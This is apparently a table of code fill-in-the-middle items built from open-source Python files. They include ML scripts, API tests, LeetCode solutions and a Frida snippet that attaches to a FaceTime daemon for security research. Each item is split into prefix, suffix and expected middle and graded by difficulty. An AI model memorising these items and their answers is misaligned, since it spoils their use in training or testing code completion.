text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_prefix|># repo: pushkarmishra/AuthorProfilingAbuseDetection path: /twitter_model.py
import numpy
import os
import random
os.environ['PYTHONHASHSEED'] = '0'
numpy.random.seed(57)
random.seed(75)
os.environ['KERAS_BACKEND'] = 'theano'
if os.environ['KERAS_BACKEND'] == 'tensorflow':
import tensorflow
tenso... | code_fim | hard | {
"lang": "python",
"repo": "pushkarmishra/AuthorProfilingAbuseDetection",
"path": "/twitter_model.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: truechuan/sklearn_case path: /uvAndPriceToOrder.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import numpy as np
from sklearn.linear_model import LinearRegression
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from itertools import islice
import csv
<|fim_suffix|>conditi... | code_fim | hard | {
"lang": "python",
"repo": "truechuan/sklearn_case",
"path": "/uvAndPriceToOrder.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>condition = np.vstack([inputUv, inputPrice]).T
print '订单量：' + str(model.predict(condition))
# fig = plt.figure()
# ax = Axes3D(fig)
# X, Y, Z = uvCount, price, orderCount
#
# ax.scatter(X, Y, Z, c='r')
#
# for index in range(len(uvCount)):
# print index
# calOrderCount.append(model.predict([uvC... | code_fim | medium | {
"lang": "python",
"repo": "truechuan/sklearn_case",
"path": "/uvAndPriceToOrder.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # has to check attr because in subscription case it returns AnonymousObservable
if hasattr(result, 'errors') and result.errors:
first_error = result.errors[0]
if hasattr(first_error, 'original_error') and first_error.original_error:
raise result.errors[0].original_error... | code_fim | hard | {
"lang": "python",
"repo": "david-alexander-white/dagster",
"path": "/python_modules/dagster-graphql/dagster_graphql/test/utils.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: david-alexander-white/dagster path: /python_modules/dagster-graphql/dagster_graphql/test/utils.py
from dagster_graphql.schema import create_schema
from graphql import graphql
<|fim_suffix|> # has to check attr because in subscription case it returns AnonymousObservable
if hasattr(result, ... | code_fim | hard | {
"lang": "python",
"repo": "david-alexander-white/dagster",
"path": "/python_modules/dagster-graphql/dagster_graphql/test/utils.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gariel/lazyetl path: /tests/etl/jobrunner_test.py
from unittest import TestCase
import steps
from jobrunner import JobRunner
from structure import (
Parameter,
Field,
Step,
Sequence,
Link,
Job
)
class JobRunnerTest(TestCase):
def set_step(self, func):
<|fim_suffix|... | code_fim | hard | {
"lang": "python",
"repo": "gariel/lazyetl",
"path": "/tests/etl/jobrunner_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> job = Job()
job.steps.append(self.create_step("1", "1asd", "out"))
job.steps.append(self.create_step("2", "2{{out}}", "out2"))
seq = Sequence()
seq.first = "1"
job.sequence = seq
self.jr.run(job)<|fim_prefix|># repo: gariel/lazyetl path: /tests/e... | code_fim | hard | {
"lang": "python",
"repo": "gariel/lazyetl",
"path": "/tests/etl/jobrunner_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: kamyu104/LeetCode-Solutions path: /Python/longest-subarray-of-1s-after-deleting-one-element.py
# Time: O(n)
# Space: O(1)
class Solution(object):
def longestSubarray(self, nums):
<|fim_suffix|># Time: O(n)
# Space: O(1)
class Solution2(object):
def longestSubarray(self, nums):
... | code_fim | hard | {
"lang": "python",
"repo": "kamyu104/LeetCode-Solutions",
"path": "/Python/longest-subarray-of-1s-after-deleting-one-element.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
:type nums: List[int]
:rtype: int
"""
result, count, left = 0, 0, 0
for right in xrange(len(nums)):
count += (nums[right] == 0)
while count >= 2:
count -= (nums[left] == 0)
left += 1
res... | code_fim | medium | {
"lang": "python",
"repo": "kamyu104/LeetCode-Solutions",
"path": "/Python/longest-subarray-of-1s-after-deleting-one-element.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> Arguments:
text -- user-input, typically transcribed speech
mic -- used to interact with the user (for both input and output)
profile -- contains information related to the user (e.g., phone
number)
"""
if 'motion' not in profile or 'binary' not i... | code_fim | hard | {
"lang": "python",
"repo": "Ghostbird/jasper-client",
"path": "/client/modules/Motion.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Ghostbird/jasper-client path: /client/modules/Motion.py
# -*- coding: utf-8-*-
from __future__ import print_function
from client import app_utils
import re
import os.path
import subprocess
import random
WORDS = ["START", "STOP", "WATCHING", "LOOKING", "GUARDING"]
PRIORITY = 3
MOTION_BINARY = '... | code_fim | medium | {
"lang": "python",
"repo": "Ghostbird/jasper-client",
"path": "/client/modules/Motion.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 6high/learningML path: /NaiveBayesian/NaiveBayesian.py
# -*- coding: utf-8 -*-
from numpy import *
SIZE_OF_DATA = 5
SIZE_OF_TEST = 5
def read_input(filename):
with open(filename) as fr:
corpus = []
for text in fr.readlines()[1:]:
for word in text.strip().split('... | code_fim | medium | {
"lang": "python",
"repo": "6high/learningML",
"path": "/NaiveBayesian/NaiveBayesian.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> trainDataSet = trainDataSet.transpose()
emotionMat = dot(trainDataSet, dataShares) # 第i个词和情感的相关度
count = sum(trainDataSet)
for i, word in enumerate(emotionMat):
emotionMat[i] = word * sum(trainDataSet[i]) / count
# 由词推断出情感的概率 =
# 当前文本已知情感出现词的概率
... | code_fim | hard | {
"lang": "python",
"repo": "6high/learningML",
"path": "/NaiveBayesian/NaiveBayesian.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: leonhard-s/auraxium path: /tests/integration/models_test.py
"""Test cases for the object representations of PS2 payloads."""
import json
import os
import unittest
from typing import Any, Dict, List, Optional, Type
from auraxium.base import Ps2Object
from auraxium.models.base import RESTPayload
... | code_fim | hard | {
"lang": "python",
"repo": "leonhard-s/auraxium",
"path": "/tests/integration/models_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def get_id(type_: Dict[str, str]) -> int:
"""A helper function to improve test case readability."""
return int(type_[f'{type_name}_id'])
# ArmorFacing
filepath = os.path.join(directory, 'armor_facing.json')
type_name = 'armor_facing'
with op... | code_fim | hard | {
"lang": "python",
"repo": "leonhard-s/auraxium",
"path": "/tests/integration/models_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: fuyingdi/Horrible-Trackpad path: /app.py
from tkinter import *
class Root(Tk):
dots = [[]]
slots = [[], [], [], [], []]
class Rect:
def __init__(self, x1,x2,y1,y2):
self.x1 = x1
self.x2 = x2
self.y1 = y1
self.y2 = y2
class ... | code_fim | hard | {
"lang": "python",
"repo": "fuyingdi/Horrible-Trackpad",
"path": "/app.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.canvas = Canvas(self, width=233, height=286, bg='black')
self.num_pad_image = PhotoImage(file="number_pad.png")
self.canvas.create_image(0,0, image=self.num_pad_image, anchor=NW)
self.canvas.pack()
def init_number_pad(self):
number_pad_slot = [[]]
... | code_fim | medium | {
"lang": "python",
"repo": "fuyingdi/Horrible-Trackpad",
"path": "/app.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Aidenwebb/connectwise-rest-api-python path: /test/test_company.py
import unittest
import connectwise
from connectwise import client as _client
import test as _test
class DataTests(_test.TestCase):
def setUp(self):
auth = ""
site = ''
<|fim_suffix|> def test_get_function... | code_fim | medium | {
"lang": "python",
"repo": "Aidenwebb/connectwise-rest-api-python",
"path": "/test/test_company.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.client = connectwise.client.Client(base_url=site, auth_token=auth)
def test_get_functions(self):
self.assertEqual(200, self.client.company.configurations.get(self.client).status_code)
self.assertEqual(200, self.client.company.companies.get(self.client).status_code)
... | code_fim | medium | {
"lang": "python",
"repo": "Aidenwebb/connectwise-rest-api-python",
"path": "/test/test_company.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: DanielLee343/funcX path: /funcx_endpoint/funcx_endpoint/executors/high_throughput/messages.py
import json
import uuid
from abc import ABC, abstractmethod
from enum import Enum, auto
from struct import Struct
from typing import Tuple
MESSAGE_TYPE_FORMATTER = Struct('b')
class MessageType(Enum):
... | code_fim | hard | {
"lang": "python",
"repo": "DanielLee343/funcX",
"path": "/funcx_endpoint/funcx_endpoint/executors/high_throughput/messages.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class Task(Message):
"""
Task message from the forwarder->interchange
"""
type = MessageType.TASK
def __init__(self, task_id: str, container_id: str, task_buffer: str, raw_buffer=None):
super().__init__()
self.task_id = task_id
self.container_id = container_id... | code_fim | hard | {
"lang": "python",
"repo": "DanielLee343/funcX",
"path": "/funcx_endpoint/funcx_endpoint/executors/high_throughput/messages.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self, task_statuses, container_switch_count):
super().__init__()
self.task_statuses = task_statuses
self.container_switch_count = container_switch_count
@classmethod
def unpack(cls, msg):
container_switch_count = int.from_bytes(msg[:10], 'little')
... | code_fim | hard | {
"lang": "python",
"repo": "DanielLee343/funcX",
"path": "/funcx_endpoint/funcx_endpoint/executors/high_throughput/messages.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: campadrenalin/pmast path: /pmast/__init__.py
import ast
import inspect
from collections import namedtuple
def ast_type(text):
if text == '*':
return ast.AST
if isinstance(text, type):
return text # Already translated
if not hasattr(ast, text):
raise TypeError(... | code_fim | hard | {
"lang": "python",
"repo": "campadrenalin/pmast",
"path": "/pmast/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for node in ast.walk(parse(tree)):
for (pattern, callback) in self.patterns:
match = pattern.match(node)
if match:
callback(data, *match)
return data<|fim_prefix|># repo: campadrenalin/pmast path: /pmast/__init__.py
import as... | code_fim | medium | {
"lang": "python",
"repo": "campadrenalin/pmast",
"path": "/pmast/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: eagle9527/heartbeats path: /src/app/migrations/0008_service_notify_to.py
# Generated by Django 2.0.3 on 2018-03-20 02:54
from django.db import migrations, models
<|fim_suffix|>
dependencies = [
('app', '0007_ping'),
]
operations = [
migrations.AddField(
... | code_fim | easy | {
"lang": "python",
"repo": "eagle9527/heartbeats",
"path": "/src/app/migrations/0008_service_notify_to.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
dependencies = [
('app', '0007_ping'),
]
operations = [
migrations.AddField(
model_name='service',
name='notify_to',
field=models.TextField(default='{}'),
),
]<|fim_prefix|># repo: eagle9527/heartbeats path: /src/app/migrations... | code_fim | easy | {
"lang": "python",
"repo": "eagle9527/heartbeats",
"path": "/src/app/migrations/0008_service_notify_to.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CodeSenpii/RaspberryPi_Arduino_Communication path: /Python/send_and_listen.py
import random
import socket
import struct
import time
HEARTBEAT_FMT = "hh"
<|fim_suffix|> data, address = sock.recvfrom(1024)
count, random_val = struct.unpack(HEARTBEAT_FMT, data)
print("I rec... | code_fim | hard | {
"lang": "python",
"repo": "CodeSenpii/RaspberryPi_Arduino_Communication",
"path": "/Python/send_and_listen.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> data, address = sock.recvfrom(1024)
count, random_val = struct.unpack(HEARTBEAT_FMT, data)
print("I received count " + str(count) + " and value " + str(random_val))
count += 1
loop(8000)<|fim_prefix|># repo: CodeSenpii/RaspberryPi_Arduino_Communication path: /Python/sen... | code_fim | hard | {
"lang": "python",
"repo": "CodeSenpii/RaspberryPi_Arduino_Communication",
"path": "/Python/send_and_listen.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ochsec/arktracker path: /notebooks/lib.py
import os
import math
import requests
import io
import sqlite3
import pandas as pd
import numpy as np
from datetime import date, datetime, timedelta
from dotenv import load_dotenv
def connect_db():
conn = sqlite3.connect("../db/ArkTracker.db")
pr... | code_fim | hard | {
"lang": "python",
"repo": "ochsec/arktracker",
"path": "/notebooks/lib.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> new_companies = []
for i, irow in df1.iterrows():
found = False
company = irow['company']
for j, jrow in df2.iterrows():
if jrow['company'] == company:
found = True
if not found:
new_companies.append(company)
print(... | code_fim | hard | {
"lang": "python",
"repo": "ochsec/arktracker",
"path": "/notebooks/lib.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> url="http://www.baidu.com"
result = urlfetch.fetch(url)
if result.status_code == 200:
#print result.content
self.response.out.write(result.content)
else:
self.response.out.write('My error!')
def main():
application = webapp.WSGIApplication([('/', MainHandler)],
... | code_fim | medium | {
"lang": "python",
"repo": "srijib/gae",
"path": "/mypyproxy/main.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: srijib/gae path: /mypyproxy/main.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
from google.appengine.ext import webapp
from google.appengine.ext.webapp import util
from google.appengine.api import urlfetch
import re
class MainHandler(webapp.RequestHandler):
def get(self):
<|fim_suffix|>... | code_fim | hard | {
"lang": "python",
"repo": "srijib/gae",
"path": "/mypyproxy/main.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> tags = tuple() if not args.tags else [x.strip().lower().replace(" ", "-")
for x in args.tags.split(",") if x.strip()]
if args.directory:
for count in org.add_images(args.directory, tags=tags):
logger.info("Processed: {0}".format(count))<|fi... | code_fim | hard | {
"lang": "python",
"repo": "cdgriffith/PyFoto",
"path": "/pyfoto/cli.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: cdgriffith/PyFoto path: /pyfoto/cli.py
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
from pyfoto.organizer import Organize
from pyfoto.config import get_stream_logger
def argument_parser():
import argparse
parser = argparse.ArgumentParser(description="PyFoto CLI")
pa... | code_fim | hard | {
"lang": "python",
"repo": "cdgriffith/PyFoto",
"path": "/pyfoto/cli.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gauth-fr/syncFolders path: /confighelper.py
import logging
import loghelper
logger = logging.getLogger(__name__)
tabbed_logger = loghelper.TabbedAdapter(logger, {})
def is_folder_config_valid(index_config,folder_config):
ret=True
if "title" not in folder_config or not folder_config[... | code_fim | hard | {
"lang": "python",
"repo": "gauth-fr/syncFolders",
"path": "/confighelper.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return ret
def is_notifications_config_valid(notifications_config):
ret=True
if "filetypes" not in notifications_config or not notifications_config["filetypes"]:
tabbed_logger.warning("Notifications configuration - No filetypes list defined",tab=1)
ret= False
if not isi... | code_fim | hard | {
"lang": "python",
"repo": "gauth-fr/syncFolders",
"path": "/confighelper.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: DanilDelegator/Street-Party path: /FaceTime/frida/replay.py
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/li... | code_fim | medium | {
"lang": "python",
"repo": "DanilDelegator/Street-Party",
"path": "/FaceTime/frida/replay.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
session = frida.attach("avconferenced")
code = open('replay.js', 'r').read()
script = session.create_script(code);
script.on("message", on_message)
script.load()
print("Press Ctrl-C to quit")
sys.stdin.read()<|fim_prefix|># repo: DanilDelegator/Street-Party path: /FaceTime/frida/replay.py
# Copyright ... | code_fim | medium | {
"lang": "python",
"repo": "DanilDelegator/Street-Party",
"path": "/FaceTime/frida/replay.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Russ76/navrep path: /navrep/envs/ianenv.py
from __future__ import print_function
import time
import gc
import numpy as np
from pepper_2d_iarlenv import parse_iaenv_args, IARLEnv, check_iaenv_args
import gym
from gym import spaces
from pandas import DataFrame
from navrep.envs.scenario_list import... | code_fim | hard | {
"lang": "python",
"repo": "Russ76/navrep",
"path": "/navrep/envs/ianenv.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def step(self, action):
self.steps_since_reset += 1
self.total_steps += 1
# action = np.array([action[0], action[1], 0.]) # no rotation
obs, reward, done, info = self.iarlenv.step(action, ONLY_FOR_AGENT_0=True)
timed_out = self.iarlenv.rlenv.episode_step[0] >= ... | code_fim | hard | {
"lang": "python",
"repo": "Russ76/navrep",
"path": "/navrep/envs/ianenv.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: joschout/tilde path: /mai_version/test_datasets/MLE_test/MLE_test.py
from typing import Optional
from mai_version.trees.tree_converter import MLETreeToProgramConverter
from mai_version.IO.input_format import KnowledgeBaseFormat
from mai_version.IO.parsing_settings.setting_parser import SettingP... | code_fim | hard | {
"lang": "python",
"repo": "joschout/tilde",
"path": "/mai_version/test_datasets/MLE_test/MLE_test.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # do_labeled_examples_get_correctly_classified_keys(examples, program, prediction_goal, index_of_label_var,
# possible_labels, background_knowledge)
if use_clausedb:
run_keys_clausedb(file_name_labeled_examples, file_name_settings)
else:
... | code_fim | hard | {
"lang": "python",
"repo": "joschout/tilde",
"path": "/mai_version/test_datasets/MLE_test/MLE_test.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: industrial-optimization-group/researchers-night path: /old experiments/UI_phone.py
import dash
from dash.exceptions import PreventUpdate
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output, State
import dash_bootstrap_components as db... | code_fim | hard | {
"lang": "python",
"repo": "industrial-optimization-group/researchers-night",
"path": "/old experiments/UI_phone.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if selectedData is None:
raise PreventUpdate
point_id = selectedData["points"][0]["pointIndex"]
point = front.loc[point_id]
y_new = point.values
if fig is not None:
if len(fig["data"]) == 1:
y = np.asarray(fig["data"][0]["y"])
else:
y = ... | code_fim | hard | {
"lang": "python",
"repo": "industrial-optimization-group/researchers-night",
"path": "/old experiments/UI_phone.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>= int(entrada[2])
if x == c:
soma += 1
d = int(entrada[3])
if x == d:
soma += 1
e = int(entrada[4])
if x == e:
soma += 1
print(soma)<|fim_prefix|># repo: matheus258/Python_URI path: /Python_URI/2006.py
x = int(input())
soma = 0
entrada = input().split()
a = int(entrada[0])
<|fim_middle|>if x... | code_fim | medium | {
"lang": "python",
"repo": "matheus258/Python_URI",
"path": "/Python_URI/2006.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: matheus258/Python_URI path: /Python_URI/2006.py
x = int(input())
soma = 0
entrada = input().split()
a = int(entrada[0])
if x == a:
soma += 1
b = int(entrada[1])
if x == b:
soma += 1
c <|fim_suffix|>:
soma += 1
e = int(entrada[4])
if x == e:
soma += 1
print(soma)<|fim_middle|>= in... | code_fim | medium | {
"lang": "python",
"repo": "matheus258/Python_URI",
"path": "/Python_URI/2006.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def main():
# Convert the train and val datasets into .tfrecords format
convert_dataset(os.path.join(FLAGS.data_dir, 'train'), os.path.join(FLAGS.out, 'train.tfrecords'), FLAGS.color)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--data_dir'... | code_fim | hard | {
"lang": "python",
"repo": "cfosco/deepfake_detection",
"path": "/models/deep_motion_mag_tf/convert_3frames_data_to_tfrecords.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Convert the train and val datasets into .tfrecords format
convert_dataset(os.path.join(FLAGS.data_dir, 'train'), os.path.join(FLAGS.out, 'train.tfrecords'), FLAGS.color)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--data_dir',
typ... | code_fim | hard | {
"lang": "python",
"repo": "cfosco/deepfake_detection",
"path": "/models/deep_motion_mag_tf/convert_3frames_data_to_tfrecords.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: cfosco/deepfake_detection path: /models/deep_motion_mag_tf/convert_3frames_data_to_tfrecords.py
import argparse
import os
import glob
import sys
import numpy as np
from tqdm import tqdm
import cv2
import tensorflow as tf
import json
FLAGS = None
def _float_feature(value):
return tf.train.Fe... | code_fim | hard | {
"lang": "python",
"repo": "cfosco/deepfake_detection",
"path": "/models/deep_motion_mag_tf/convert_3frames_data_to_tfrecords.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def gather_info():
info = {'ip': get_ip(),
'hostname': get_hostname(),
'mac': get_mac(),
'localtime': time.time()
}
return info
def serve_tcp():
while True:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print(... | code_fim | hard | {
"lang": "python",
"repo": "wonkoderverstaendige/BeholderPi",
"path": "/scripts/services/discovery/beholder_discovery_sender.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wonkoderverstaendige/BeholderPi path: /scripts/services/discovery/beholder_discovery_sender.py
#!/usr/bin/env python3
"""Send IP and hostname information. As a broadcast message via UDP, or TCP to a known host IP."""
import socket
import time
import sys
import json
import uuid
if len(sys.argv) ... | code_fim | hard | {
"lang": "python",
"repo": "wonkoderverstaendige/BeholderPi",
"path": "/scripts/services/discovery/beholder_discovery_sender.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: doronz88/armulator path: /armulator/armv6/opcodes/thumb_instruction_set/thumb_instruction_set_encoding_16_bit/thumb_data_processing/mul_t1.py
from armulator.armv6.opcodes.abstract_opcodes.mul import Mul
from armulator.armv6.opcodes.opcode import Opcode
from armulator.armv6.configurations import a... | code_fim | medium | {
"lang": "python",
"repo": "doronz88/armulator",
"path": "/armulator/armv6/opcodes/thumb_instruction_set/thumb_instruction_set_encoding_16_bit/thumb_data_processing/mul_t1.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def is_pc_changing_opcode(self):
return False
@staticmethod
def from_bitarray(instr, processor):
rdm = instr[13:16]
rn = instr[10:13]
setflags = not processor.in_it_block()
if arch_version() < 6 and rdm.uint == rn.uint:
print "unpredictable"... | code_fim | medium | {
"lang": "python",
"repo": "doronz88/armulator",
"path": "/armulator/armv6/opcodes/thumb_instruction_set/thumb_instruction_set_encoding_16_bit/thumb_data_processing/mul_t1.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> pass
def flush_entities(self, as_scene, as_main_assembly, as_project):
logger.debug(f"appleseed: Flushing archive asset entity for {self.orig_name} to project")
as_main_assembly.assemblies().insert(self.__ass)
self.__ass = as_main_assembly.assemblies().get_by_name(self... | code_fim | hard | {
"lang": "python",
"repo": "geckguy/blenderseed",
"path": "/translators/objects/archive_assembly.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: geckguy/blenderseed path: /translators/objects/archive_assembly.py
#
# This source file is part of appleseed.
# Visit http://appleseedhq.net/ for additional information and resources.
#
# This software is released under the MIT license.
#
# Copyright (c) 2019 Jonathan Dent, The appleseedhq Organi... | code_fim | hard | {
"lang": "python",
"repo": "geckguy/blenderseed",
"path": "/translators/objects/archive_assembly.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> @classmethod
def fromConfig(cls):
config = ConfigValues()
start = config.values["defaultSettings"]["start"]
peep = config.values["defaultSettings"]["peep"]
freq = config.values["defaultSettings"]["freq"]
ratio = config.values["defaultSettings"]["ratio"]
... | code_fim | hard | {
"lang": "python",
"repo": "OperationAIR/HumanInterface",
"path": "/src/models/mcuSettingsModel.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: OperationAIR/HumanInterface path: /src/models/mcuSettingsModel.py
import struct
from utils.config import ConfigValues
from utils.math import pressure_to_cm_h2o, pressure_to_pa
class MCUSettings:
def __init__(self, start, peep, freq, ratio, pressure, oxygen):
self.start = int(start... | code_fim | hard | {
"lang": "python",
"repo": "OperationAIR/HumanInterface",
"path": "/src/models/mcuSettingsModel.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
response = payfac_agreement.post_by_legalEntityId("21003",legalEntityAgreementCreateRequest)
self.assertIsNotNone(response['transactionId'])
legalEntityAgreement2 = generatedClass.legalEntityAgreement.factory()
legalEntityAgreement.set_agreementVersion("agreementVersion1"... | code_fim | hard | {
"lang": "python",
"repo": "Vantiv/payfac-mp-sdk-python",
"path": "/test/functional/test_payfac_agreement.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Vantiv/payfac-mp-sdk-python path: /test/functional/test_payfac_agreement.py
import unittest
from payfacMPSdk import payfac_agreement, generatedClass, utils
from dateutil.parser import parse
class TestAgreement(unittest.TestCase):
def test_get_by_legalEntityId(self):
response = payfa... | code_fim | medium | {
"lang": "python",
"repo": "Vantiv/payfac-mp-sdk-python",
"path": "/test/functional/test_payfac_agreement.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> response = payfac_agreement.post_by_legalEntityId("21003",legalEntityAgreementCreateRequest)
self.assertIsNotNone(response['transactionId'])
legalEntityAgreement2 = generatedClass.legalEntityAgreement.factory()
legalEntityAgreement.set_agreementVersion("agreementVersion1")... | code_fim | hard | {
"lang": "python",
"repo": "Vantiv/payfac-mp-sdk-python",
"path": "/test/functional/test_payfac_agreement.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>RS_PER_CLIENT = 32
CLIENT_MOUNT_POINT = "/mnt/test_workdir"
FILE_NAMES_PATH = "filenames.dat"<|fim_prefix|># repo: samuelsh/pyfs_stress path: /config/__init__.py
CTRL_MSG_PORT = 5557
CLIENT_MSG_PORT = 5558
CLIENT_PROXY_FRONTEND = 6000
PUBSUB_LOGGER_PORT <|fim_middle|>= 5559
MAX_FILES_PER_DIR = 10000
SET... | code_fim | medium | {
"lang": "python",
"repo": "samuelsh/pyfs_stress",
"path": "/config/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: samuelsh/pyfs_stress path: /config/__init__.py
CTRL_MSG_PORT = 5557
CLIENT_MSG_PORT = 5558
CLIENT_PROXY_FRONTEND = 6000
PUBSUB_LOGGER_PORT <|fim_suffix|>YNAMO_PATH = '~/qa/dynamo'
DYNAMO_BIN_PATH = '~/qa/dynamo/client/dynamo_starter.py'
MAX_WORKERS_PER_CLIENT = 32
CLIENT_MOUNT_POINT = "/mnt/test_... | code_fim | medium | {
"lang": "python",
"repo": "samuelsh/pyfs_stress",
"path": "/config/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: thejohnfreeman/picard path: /tests/test_rule.py
"""Tests for general rules."""
import logging
import pytest # type: ignore
<|fim_suffix|>@pytest.mark.asyncio
async def test_rule():
"""Test a basic rule."""
# pylint: disable=unused-argument
@picard.rule()
async def target_1(cont... | code_fim | medium | {
"lang": "python",
"repo": "thejohnfreeman/picard",
"path": "/tests/test_rule.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>@pytest.mark.asyncio
async def test_rule():
"""Test a basic rule."""
# pylint: disable=unused-argument
@picard.rule()
async def target_1(context):
return 1
@picard.rule(target_1)
async def target_2(context, one):
return one + 1
@picard.rule(two=target_2)
asy... | code_fim | medium | {
"lang": "python",
"repo": "thejohnfreeman/picard",
"path": "/tests/test_rule.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: m-takeuchi/ilislife_wxp path: /sequence.py
### Caution: Python is sensitive for indentation. Do use "Space" insted of "Tab".
dV = 50 # (V) Minimum volgage step, which must be a dvisor for holding voltages.
dt_meas = 1 #(s) measurement interval
dt_op = 1 # (s) time per step for Ve change
